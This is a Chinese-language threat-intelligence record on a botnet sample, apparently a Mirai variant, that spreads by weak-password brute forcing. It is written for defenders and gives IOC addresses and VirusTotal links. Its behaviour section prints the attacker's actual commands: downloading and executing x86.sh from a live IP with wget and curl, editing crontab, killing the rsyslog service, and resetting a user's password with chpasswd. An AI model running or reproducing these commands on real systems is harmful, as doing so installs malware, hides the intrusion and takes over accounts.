简述
该样本回连IP与Mirai 变体样本具有强关联,推测为Mirai变体之一
样本类型
僵尸网络
elkeid 样本ID
elkeid_20221115_botnet_5
关键词
x86.sh
捕获时间
20221114
最近活跃时间
20221114
已知入侵途径
- 弱口令爆破
涉及样本
- /tmp/x86.sh
主要行为
-
下载
- bash -c yum install wget -y; apt install wget -y;dnf install wget; pacman -S wget;
- cd /tmp; wget http://109.206.241.34/x86.sh; curl -O http://109.206.241.34/x86.sh;
-
赋权
- chmod 777 x86.sh
-
执行
- sh x86.sh china
-
写入定时任务
- sed -i /newinit.sh/d /etc/crontab
- sed -i /null 2>&1/d /etc/crontab
-
关闭服务
- systemctl kill -s HUP rsyslog.service
-
更新密码
- /bin/bash -c echo steam:Test1 | chpasswd
IOC
- 152.32.128.128
- 109.206.241.34
参考链接
- 152.32.128.128 virustotal情报
https://www.virustotal.com/gui/ip-address/152.32.128.128
- 109.206.241.34 virustotal情报
https://www.virustotal.com/gui/url/ca403e52ee2cb1663ef1ada83859d984f52e221d5064b0092ca8f88501c97e34